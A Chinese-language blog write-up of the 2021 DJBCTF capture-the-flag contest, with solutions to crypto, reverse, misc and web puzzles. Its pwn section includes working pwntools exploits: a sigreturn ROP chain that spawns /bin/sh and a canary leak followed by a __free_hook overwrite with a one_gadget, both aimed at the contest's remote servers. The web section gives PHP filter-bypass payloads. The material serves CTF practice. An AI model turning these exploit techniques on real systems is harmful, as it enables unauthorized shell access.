zoukankan      html  css  js  c++  java
  • 2021 DJBCTF(大吉大利杯) wp

    实在是很忙,忙着赶项目,没来得及参加这个比赛,只能抽空做一下,断断续续做,然后写好wp又因为太忙忘记发出来。。。。
    这次比赛的题挺不错的,难度适中(狸题除外,真的狸谱,有时间研究一下阿狸师傅的题,题目很新颖),部分题目后期再补上
    在此感谢出题的各位大师傅!!!

    Crypto

    easysignin

    from Crypto.Util.number import getPrime, isPrime, bytes_to_long
    from random import getrandbits
    from secret import flag
    
    def genpq(k):
        while True:
            p = getPrime((k + 3) // 4)
            q = getPrime((k + 3) // 4)
            if ((p ** 2) * (q ** 2)).bit_length() == k:
                return (p, q)
    
    def genseq(t, k):
    	x = getrandbits(k)
    	y = getrandbits(k)
    	r = []
    	r += [pow(x * getrandbits(k)+y, pow(getrandbits(k), t - 1, t), t)]
    	for i in range(len(flag)):
    		r += [pow(x * r[i] +y, pow(getrandbits(k), t - 1, t), t)]
    	return r
    
    (p, q) = genpq(2021)
    e = getPrime(0x0123)
    r = [genseq(p, p.bit_length() // 4), genseq(q, q.bit_length() // 4), genseq(e, e.bit_length() // 4)]
    c = pow(bytes_to_long(flag), e, 2021 * p * q)
    
    out = open('output.txt','w')
    out.write(str(r) + "\n")
    out.write(str(c) + "\n")
    out.close()
    

    程序自定义写了getpq函数,然后弄了一大堆东西,最后就是rsa加密,genseq函数中的t为素数,直接费马小定理化简为1,后面三次调用这个函数,r和p,q,e均存在关系,LCG攻击

    因为之前研究过La大佬的LCG攻击,用脚本即可解出p,q,e

    from functools import reduce
    from math import gcd
    from gmpy2 import *
    from Crypto.Util.number import *
    
    def egcd(a, b):
        if a == 0:
            return (b, 0, 1)
        else:
            g, y, x = egcd(b % a, a)
            return (g, x - (b // a) * y, y)
    
    def modinv(a, m):
        g, x, y = egcd(a, m)
        if g != 1:
            raise Exception('modular inverse does not exist')
        else:
            return x % m
    
    def crack_unknown_increment(states, modulus, multiplier):
        increment = (states[1] - states[0]*multiplier) % modulus
        return modulus, multiplier, increment
    
    def crack_unknown_multiplier(states, modulus):
        multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
        return crack_unknown_increment(states, modulus, multiplier)
    
    def crack_unknown_modulus(states):
        diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
        zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
        modulus = abs(reduce(gcd, zeroes))
        return crack_unknown_multiplier(states, modulus)
    
    rp = []
    rq = []
    re = []
    xp, yp, p = crack_unknown_modulus(rp)
    xq, yq, q = crack_unknown_modulus(rq)
    xe, ye, e = crack_unknown_modulus(re)
    print(p)
    print(q)
    print(e)
    d = invert(e,(p-1)*(q-1))
    m = pow(c,d,p*q)
    print(long_to_bytes(m))
    

    luckybase

    不会,待研究~~

    大佬们帮我看看我这个Python脚本为什么运行不了啊

    fROM CRYPTO.utIL.NuMBER IMPORT BYteS_TO_LoNG, long_TO_BYTES
    
    A_Fake_FLaG = B'FLag{I_AM_the_TRUE_Flag_trUST_me}'
    nuMBER = bYTEs_tO_long(a_FAKE_FLAG)
    
    KeY1 = B'DO yOU WAnT A DAJIBEI?'
    KEY1 = Bytes_to_lONG(KEY1)
    
    KEY2 = 0XBCD2deE7E7114B5C856F8DAECeD0782BD891200B4D8264D854A13D53cF1F0c481b
    iv = 10800
    KEY3 = KeY2 * IV
    
    IS_THIS_rEAL_FlAG = (NUmber + kEY3) // KEy1
    print(long_tO_bytes(IS_THis_REAl_flag))
    

    修正大小后,运行,得到

    thrEE_means_3
    

    结果为:

    英文_means_数字
    

    flag有可能是这种结构,逐一尝试,最终试出flag

    听说

    不会,待研究~~

    eccsimiscce

    from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
    from random import getrandbits
    from secret import flag
    
    def gen(n):
    	g = []
    	while len(g) < 2:
    		r = getrandbits(128)
    		if r < n:
    			g += [r]
    	return g[0], g[1]
    
    pt = b'\x00' * 6 + long_to_bytes(int(flag,2))
    assert len(pt) % 8 == 0
    
    o = open('output','w')
    
    n = getPrime(64) * getPrime(64)
    o.write(str(n) + '\n')
    a, b = gen(n)
    
    p = []
    E = EllipticCurve(IntegerModRing(n), [a, b^2])
    P = E((0, b))
    p += [P.xy()]
    for k in range(len(pt) // 8):
    	Q = bytes_to_long(pt[8 * k : 8 * k + 8]) * P
    	p += [Q.xy()]
    	P = Q	
    o.write(str(p))
    

    代码就是就把flag的二进制经过处理后,8个字节一组进行ECC加密,之后将得到的Q点作为下一组的P点继续加密处理,n是素数,根据在全国大学生信息安全竞赛学到的一个知识点,可以把分解为模p和模q上的两题曲线来处理,逆行解即可,解出来是01字符串,转为二维码,扫描即可获得flag(脚本忘记贴上来了。。。)

    简单密码

    不会,阿狸师傅的题,还是很狸谱~~

    单表加密

    待研究~

    pwn

    easyrop

    先检查文件保护

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    

    没有开任何保护,ida分析,发现程序很短

    寄存器所有的值我们都可以控制,伪造sigframe,控制程序走向即可pwn

    from pwn import *
    
    context(arch='amd64',os='linux')
    context.log_level = "debug"
    
    pop_rax = 0x4000db
    read_addr = 0x4000dc
    buf_addr = 0x6000e0
    
    #p = process('./easyrop')
    p = remote('pwn.chall.ctf.show',28035)
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_read
    sigframe.rdi = 0
    sigframe.rsi = buf_addr
    sigframe.rdx = 0x300
    sigframe.rsp = buf_addr
    sigframe.rip = read_addr
    
    
    p.recvuntil('Welcome to DJB easyrop!\n')
    payload = b'a'*(0x40)+p64(pop_rax)+p64(15)+str(sigframe)
    p.send(payload)
    
    sigframe = SigreturnFrame()
    sigframe.rax = constants.SYS_execve
    sigframe.rdi = buf_addr+0x120
    sigframe.rsi = 0
    sigframe.rdx = 0
    sigframe.rip = read_addr
    
    payload = p64(pop_rax)+p64(15)+str(sigframe)
    payload = payload+(0x120-len(payload))*'\x00'+'/bin/sh\x00'
    p.send(payload)
    
    p.interactive()
    

    easy_note

    检查文件保护

        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    64位程序,ida分析,申请函数关键部分如下

     v1 = malloc(0x20uLL);                         // 申请内存
      src = v1;                                     // src是结构体
      v1[2] = dest;
      *((_DWORD *)src + 2) = buf;
      *(_QWORD *)src = a1;                          // 大小也写进结构体
      *((_BYTE *)src + 24) = 0;
      dest = (char *)dest + a1;
      dword_602100 -= a1;
      memcpy(dest, src, 0x20uLL);                   // 复制到dest
      qword_602120[dword_602104] = (__int64)dest;
      dest = (char *)dest + 32;
      dword_602100 -= 32;
      free(src);                                   //释放
      v2 = dword_602104++;
      dword_602180[v2] = buf;
    

    这里有个点,就是将src的大小也写进了去了,之后将src复制到dest,再释放src,同时注意到写函数

      int result; // eax
    
      if ( a1 < dword_602104 && (a1 & 0x80000000) == 0 )
        result = read(0, *(void **)(qword_602120[a1] + 16), a2);
      else
        result = puts("Chunk doesn't exist");
      return result;
    

    这里并没有对大小(a2)进行限制,如果申请小内存,然后写入大小比较大的内容,溢出,再利用打印函数,那么可以泄露canary和libc版本

    from pwn import *
    
    context(arch='amd64',os='linux')
    context.log_level = "debug"
    
    p = remote('pwn.chall.ctf.show',28099)
    #p = process('./easy_note')
    elf = ELF('./easy_note')
    libc = ELF('./libc-2.27.so')
    
    
    def add(size):
        p.recvuntil('>')
        p.sendline('1')
        p.recvuntil(':\n')
        p.sendline(str(size))
    
    def print_(index):
        p.recvuntil('>')
        p.sendline('2')
        p.recvuntil(':\n')
        p.sendline(str(index))
    
    def write_(index,size,content):
        p.recvuntil('>')
        p.sendline('3')
        p.recvuntil(':\n')
        p.sendline(str(index))
        p.recvuntil(':\n')
        p.sendline(str(size))
        p.send(content)
    
    add(0x20)
    content = 'a'*31+'A'+p64(0x50)
    write_(0,0x30,content)
    print_(0)
    p.recvuntil('A')
    p.recv(8)
    canary = u64(p.recv(8))
    print('Canary addr is:',hex(canary))
    memcpy = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
    libc_base = memcpy+0x400000
    free_hook = libc_base+libc.symbols['__free_hook']
    
    one_gadget = libc_base+0x10a41c
    write_(0,0x666,'B'*0x20+p64(0x666)+p64(canary)+p64(free_hook))
    write_(0,0x100,p64(one_gadget))
    add(0x20)
    #gdb.attach(p)
    p.interactive()
    

    Reverse

    A-Maze-Ln

    32位程序,无壳,idA分析

    找到关键函数

      memset(Dst, 0, 0x100u);
      memset(v11, 0, 0x100u);
      ((void (__cdecl *)(const char *, char))print)("Do you wanna play a game?\n", v1);
      ((void (__cdecl *)(const char *, char))print)(
        "Let's play escape game where you have to find a way out. Please enter your way:",
        v2);
      sub_401050("%s", (unsigned int)v11);          // v11为flag
      v3 = 3;
      v4 = 0;
      if ( strlen(v11) != 34 )                      // 长度34
        goto LABEL_22;
      v5 = 0;
      do
      {
        v6 = v11[v5];
        switch ( v6 )
        {
          case 'U':
            v7 = v4;
            if ( byte_404018[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            --v4;
            break;
          case 'D':
            v7 = v4;
            if ( byte_404019[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            ++v4;
            break;
          case 'L':
            v7 = v4;
            if ( byte_40401A[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            --v3;
            break;
          case 'R':
            v7 = v4;
            if ( byte_40401B[4 * (v3 + 8 * v4)] != 1 )
              goto LABEL_22;
            ++v3;
            break;
          default:
            goto LABEL_22;
        }
        ++v5;
      }
      while ( v5 < 34 );
      if ( v3 != 4 || v4 != 7 )
      {
    LABEL_22:
        print("You're stuck!\n");
        return 0;
      }
      if ( sub_401090(v7, v11) == -1 )
        return 0;
      ((void (__cdecl *)(const char *, char))print)("Escaped! You see the flag\n", a1);
      v8 = 0;
      do
      {
        Sleep(0xC8u);
        print("%c", Dst[v8++]);
      }
      while ( v8 <= 0x2C );
      return 0;
    

    很明显是迷宫问题,起点是(3,0),终点为(4,7),大小为8*8,并且数据已给出

    根据程序的判断,得出0是表示死路,1表示通路,最终推算出路径: LLDRRDLLLDRDLDDDRRULURRULURRDDDLDR

    Matara Okina

    下载候是apk文件,拖进jd分析,关键代码如下

    public class FlagActivity extends Activity {
        byte[] ans = "@lgvjocWzihodmXov[EWO".getBytes();
        public native String Check(String str);
        static {
            System.loadLibrary("Checker");
        }
        /* access modifiers changed from: protected */
        @Override // android.app.Activity
    
        public void onCreate(Bundle bundle) {
            super.onCreate(bundle);
            setContentView(R.layout.activity_flag);
            Uri data = getIntent().getData();
            TextView textView = (TextView) findViewById(R.id.result);
            String scheme = data.getScheme();
            String host = data.getHost();
            if (scheme.toLowerCase() == scheme && host.toLowerCase() == host) {
                String queryParameter = data.getQueryParameter("secret");
                if (queryParameter == null) {
                    textView.setText("NO");
                    return;
                }
                byte[] bytes = queryParameter.getBytes();
                int i = 0;
                while (i < (bytes.length + 1) / 2) {
                    int i2 = i + 1;
                    bytes[i] = (byte) (bytes[i] ^ i2);
                    int length = (bytes.length - 1) - i;
                    bytes[length] = (byte) (bytes[length] ^ i2);
                    i = i2;
                }
                if (Arrays.equals(this.ans, bytes)) {
                    textView.setText(Check(data.toString()));
                } else {
                    textView.setText("NO");
                }
            } else {
                textView.setText("NO");
            }
        }
    }
    

    就是将"@lgvjocWzihodmXov[EWO",经过算法处理,python脚本处理一下

    ans = "@lgvjocWzihodmXov[EWO"
    i=0
    flag_temp = [0]*len(ans)
    while(i<(len(ans)+1)//2):
        j = i+1
        flag_temp[i]^=j
        lens = len(ans)-1-i
        flag_temp[lens] = ord(ans[lens])^j
        flag_temp[i] = ord(ans[i])^j
        i+=1
    
    print(''.join([chr(i) for i in flag_temp]))
    

    得到:Android_scceme_is_FUN,再根据代码,schema为跳转协议,在配置文件查看内容如下

    <intent-filter>
                    <data android:scheme="sh0w" android:host="p4th" android:path="/70/1nput"/>
                    <category android:name="android.intent.category.DEFAULT"/>
                    <action android:name="android.intent.action.VIEW"/>
                    <category android:name="android.intent.category.BROWSABLE"/>
                </intent-filter>
            </activity>
    

    访问的url可知,并构造如下,即可得到flag

    <a href="sh0w://p4th/70/1nput?secret=Android_scheme_is_FUN">hjx-Ying</a>
    

    Unrealflag

    缺少环境,待更新

    anniu

    找到句柄,修改按钮控件属性即可

    warmup

    64位程序,无壳,ida分析,关键代码如下,

     if ( byte_40A0[16 * a1 + a2] == -1 )
        return 0LL;
      for ( i = 0; i <= 15; ++i )
      {
        if ( i != a2 && byte_40A0[16 * a1 + i] == byte_40A0[16 * a1 + a2] )
          return 0LL;//行不等
      }
      for ( j = 0; j <= 15; ++j )
      {
        if ( j != a1 && byte_40A0[16 * j + a2] == byte_40A0[16 * a1 + a2] )
          return 0LL;//列不等
      }
      v4 = a1 - a1 % 4;
      v3 = a2 - a2 % 4;
      for ( k = 0; k <= 3; ++k )
      {
        for ( l = 0; l <= 3; ++l )
        {
          if ( a1 != k + v4 && a2 != l + v3 && byte_40A0[16 * (k + v4) + l + v3] == byte_40A0[16 * a1 + a2] )//每一个小块不等
            return 0LL;
        }
      }
    

    长度为48

     if ( std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::length(&v7) == 48 )
      {
        for ( i = 0; i <= 47; ++i )                 // 长度48
        {
          v3 = (char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::at(&v7, i);
          if ( (unsigned __int8)sub_11F5(*v3) ^ 1 )
            goto LABEL_9;
        }
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(&v8, &v7);
        sub_125E((__int64)&v8);
        std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(&v8);
        if ( !((unsigned __int8)sub_14E0() ^ 1) )//满足这个判断
        {
          v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Accepted!");
          std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
          v5 = std::operator<<<std::char_traits<char>>(&std::cout, "Flag is 'flag{' + your_input + '}'");
          std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
          exit(0);
    

    挺明显的,是个数独游戏,找原始数据

    提取出来,处理数独游戏解一下,依次取值,得到

    [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
    

    python处理得到flag

    flag = [7, 6, 5, 12, 9, 8, 14, 7, 8, 6, 4, 4, 5, 0, 7, 11, 8, 13, 15, 11, 1, 5, 5, 2, 6, 9, 3, 14, 4, 6, 7, 8, 7, 1, 0, 2, 6, 13, 2, 6, 11, 10, 0, 3, 12, 1, 7, 5]
    for i in range(len(flag)):
        if flag[i]>9:
            flag[i] = hex(flag[i])[2:]
        else:
            flag[i] = str(flag[i])
    print("flag{"+''.join([i for i in flag])+"}")
    

    e

    32位程序,ELF文件,无壳,ida分析无果,动态调试看看

    准备找到输入的地方,进行跟踪,发现程序跑到这就死循环了

    改用attach调试正在执行的进程,并且一直往下跟,一定可以找到判断的地方,并且过程中发现几次字符的处理

    先是B(可能前面漏了几个,确实有看到J,结合赛名DJB,前面应该还有DJ)

    然后是R

    然后是E

    这些字符很有可能进行判断的,特别关注,继续往下跟,堆栈处发现

    继续,出现

    最后有

    最终就是个比较函数,输入的字符串和DDDJJJBBBRRREEE比较,这个就是flag

    misc

    十八般武艺

    下载后是压缩包,发现需要密码,注释有

    jph对18个图片处理得到18个txt文件,每个都藏有数字,在最下面,拼接后为

    1361439992231635258176397978587009639353044053720460556276610613346353724230575
    

    发现都是10进制数,提示前10种兵器是10进制,转为16进制再转文本为

    flag{CTFshow_10_
    

    后8种为8进制,转为16进制,再转文本

    bA_Ban_b1ng_Q1}
    

    拼接即为flag

    请问大吉杯的签到是在这里签吗

    下载后是二维码,但是扫后没有什么信息,010看看,发现里面似乎还有其他图片,还发现zip标志,分解看看,得到一个2图片和压缩包

    图片扫码后是说:还要往前走……是不是在这个路口转弯呢?,解压压缩包,里面也是2图片,第二张图有点东西

    最终在stegsolve发现(走了好多弯路)

    猪圈密码解密即可

    牛年大吉

    010分析,发现里面存在其他类型的文件,直接分解

    但是压缩包存在密码,根据提示:压缩包密码在图片文件头里,刚开始一直不懂什么意思,后来尝试一下文件头: 89504E47 ,这个就是密码,解压后得到flag

    简单的FM

    一直都是0解,很简单??阿狸师傅可能比较喜欢裸奔。。

    童话镇

    下载后是一个mp4文件,分解得到一个压缩包,但是存在密码,爆破得到密码为67373,得到两个txt文件,两个文件都很大,有点像机器学习的东西,不懂。。。也是阿狸师傅的题

    色图生成器

    解压后是一个txt文件和一个png图片,txt文件内容为很多颜色的单词,图片的马赛克部分很奇怪,脚本处理一下,找一下规律

    from PIL import Image
    p = Image.open('setu.png')
    i = 0
    for x in range(80,420,20):
        for y in range(50,995,5):
            color=p.getpixel((y,x))
            print(color[0],color[1],color[2])
            i+=1
            if i==10:
                break
    

    部分结构如下图

    发现马赛克部分,82,97,114转为ascii为rar,说明马赛克部分其实是一个压缩包,并且发现是RGB中其中一个值为0,写脚本将数据全部提取出来

    from PIL import Image
    p = Image.open('setu.png')
    i = 0
    for x in range(80,420,20):
        for y in range(50,995,5):
            color=p.getpixel((y,x))
            if color[0] ==0 or color[1]==0 or color[2]==0:
                z = (color[0]+color[1]+color[2])//2
                print(z,end=' ')
                i+=1
    

    010处理一下

    打开这个rar文件,里面是一张图片,010分析一下,尾部发现压缩包标志,分解,得到一个压缩包,但是有密码

    根据提示github搜索Cloakify,并用题提供的txt作为字典,跑一下得到密码

    D3arD4La0P1e45eD4iDa1Wo
    

    得到一个pyc文件,反编译一下

    from PIL import Image
    import re, hashlib, random
    flag = 'flag{jiu_bu_gao_su_ni}'
    if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
        m = hashlib.md5()
        m.update(flag.encode('ascii'))
        m = m.hexdigest()
        col = []
        for i in range(0, 24, 2):
            tmp = int(m[i:i + 2], 16)
            tmp += random.randint(-5, 5)
            col += [tmp]
     
        img = Image.new('RGB', (1024, 512))
        for i in range(4):
            timg = Image.new('RGB', (256, 512), tuple(col[i * 3:i * 3 + 3]))
            img.paste(timg, (i * 256, 0))
     
        img.save('C:/Users/Administrator/Desktop/setu.png')
    

    这个脚本是对setu.png进行处理,但是引入了随机数,逆算法不行,直接暴力破解即可

    import re
    import hashlib
    
    list = [139, 102, 162, 24, 85, 57, 160, 37, 239, 200, 154, 30]
    for a1 in range(48,123):
        for a2 in range(48,123):
            for a3 in range(48,123):
                for a4 in range(48,123):
                    flag = 'flag{'+'D'+chr(a1)+chr(a2)+chr(a3)+chr(a4)+'}'
                    if re.fullmatch('^flag{[A-Z][0-9a-zA-Z]{4}}$', flag):
                        m = hashlib.md5()
                        m.update(flag.encode('ascii'))
                        m = m.hexdigest()
                        b = 0
                        for i in range(0,24,2):
                            tmp = int(list[b])
                            if int(m[i:i+2], 16) -tmp > -5 and int(m[i:i+2], 16)-tmp < 5:
                                b = b+1
                                continue
                            elif i==22:
                                print(flag,'Found the flag!')
                                break
                            else:
                                break
    

    拼图2.0

    拼图即可

    碑寺六十四卦

    捣鼓了一大圈,没发现什么,最后将图片反色才发现线索, stegsolve解一下最低位通道即可得到另一张图片 (放大镜放大,得到)

    对应卦图的数字为:

    5,37,26,32,8,44,11,30,53,27,39,34,51,3,52,46,18,33,46,40,7,56,40
    

    对应base64解密一下,得到flag

    AA86

    %@"%"@,~,%,!`_^[^_^]-;>`_^[^_^]%"!,^,:`_^[^_^]-@{-`{-?:`_[^_^]_-``-``-@@`_^[^_^]-`~-``-@$`_^[^_^]-``-``-@@`_^[^_^]-`~-``-@#`_^[^_^]-+~-/~-?;`_^[^_^]%!~-;-,;`_^[^_^]-"$-@~-@``_^[^_^]-{[-);-@:`_^[^_^]-/*,%`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]%@$-@;-?;`_^[^_^]-/~-`&,#`_^[^_^]-`~-`{,*`_^[^_^]-@@-$!`_^[^_^]-:$,[,<`_^[^_^]-!|-.),!`_^[^_^]-@{-@`-/(`_^[^_^]`_^[^_^]`_^[^_^]`_^[^_^]-{!-{.,.`_^[^_^]-~/-/``_^[^_^]%""-}@$"`_^[^_^]%@@-!/,!`_^[^_^]-:*-=%`[[[[[[[[`^^^^^-%+)@@^^^!;@@++,((,.((-$+"@"+&&-,!""+,&-,!""+!&-,!""+'&-,!""++'-,!""+(&-,!""+$'-,!""+$'-,!""+@'-,!""+#'-,!""+*#-,!""+_"-,!""+_"-,!""+%'-,!""+$'-,!""+&&-,!""+-"-,!""+(#-,!""+."-,!""+*&-,!""+@'-,!""+_"-,!""+@'-,!""+%'-,!""+"&-,!""+,&-,!""+)&-,!""+#&-,!""+_"-,!""+#'-,!""+!&-,!""+#'-,!""+_"-,!""+)&-,!""+.&-,!""+$&-,!""+%&-,!""+('-,!""+."-,!""+(&-,!""+$'-,!""+-&-,!""+,&-,!""+-'-,!"(+@@,$-,!"
    

    题目提示16位系统的文件,16位dos系统的话能运行的文件比较经典的是com文件,(这学期病毒课实验课,搭了个16位虚拟机,正好用到),保存为com文件,dos系统跑一下,得到flag

    web

    veryphp

    代码审计

    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    include("config.php");
    class qwq
    {
        function __wakeup(){
            die("Access Denied!");
        }
        static function oao(){
            show_source("config.php");
        }
    }
    $str = file_get_contents("php://input");
    if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
        die("I am sorry but you have to leave.");
    }else{
        extract($_POST);
    }
    if(isset($shaw_root)){
        if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
            echo $hint;//我们得读到这个hint
        }else{
            echo "Almost there."."<br>";
        }
    }else{
        echo "<br>"."Input correct parameters"."<br>";
        die();
    }
    if($ans===$SecretNumber){
        echo "<br>"."Congratulations!"."<br>";
        call_user_func($my_ans);
    }
    

    首先我们得先读到hint,长度为29,并且匹配正则,比较容易

    -a9<b>xxxxxxxxx>>>>abcphp@Rsx
    

    但是shaw_root的下划线得处理为空格(+不行),绕过正则,得到hint

    md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
    

    爆破得到的SecretNumber为: 21475 ,然后就到call_user_func,调用类中函数就行了,比较简单

    shaw root=-a9<b>xxxxxxxxx>>>>abcphp@Rsx&ans=21475&my ans=qwq::oao
    

    spaceman

    <?php
    error_reporting(0);
    highlight_file(__FILE__);
    class spaceman
    {
        public $username;
        public $password;
        public function __construct($username,$password)
        {
            $this->username = $username;
            $this->password = $password;
        }
        public function __wakeup()
        {
            if($this->password==='ctfshowvip')
            {
                include("flag.php");
                echo $flag;    
            }
            else
            {
                echo 'wrong password';
            }
        }
    }
    function filter($string){
        return str_replace('ctfshowup','ctfshow',$string);
    }
    $str = file_get_contents("php://input");
    if(preg_match('/\_|\.|\]|\[/is',$str)){            
        die("I am sorry but you have to leave.");
    }else{
        extract($_POST);
    }
    $ser = filter(serialize(new spaceman($user_name,$pass_word)));
    $test = unserialize($ser);
    ?>
    

    传入的user_name和pass_word的下划线会被正则影响,空格绕过,得flag

    有手就行

    url出现file=scan,经过多次尝试,只有file=flag,才有结果,前端发现代码,base64转图片,是一个小程序

    爬楼游戏,爬547万层,就是点击547万次,直接逆向小程序,最后全局搜索flag得到flag(很有意思的一个题)

    虎山行

    不会,暂研究~~~

  • 相关阅读:
    利用DTrace实时检测MySQl
    改进MySQL Order By Rand()的低效率
    RDS for MySQL查询缓存 (Query Cache) 的设置和使用
    RDS For MySQL 字符集相关说明
    RDS for MySQL 通过 mysqlbinlog 查看 binlog 乱码
    RDS for MySQL Mysqldump 常见问题和处理
    RDS for MySQL Online DDL 使用
    RDS MySQL 表上 Metadata lock 的产生和处理
    RDS for MySQL 如何使用 Percona Toolkit
    北京已成为投融资诈骗重灾区:存好骗子公司黑名单,谨防上当!
  • 原文地址:https://www.cnblogs.com/crfshadow/p/14380315.html
Copyright © 2011-2022 走看看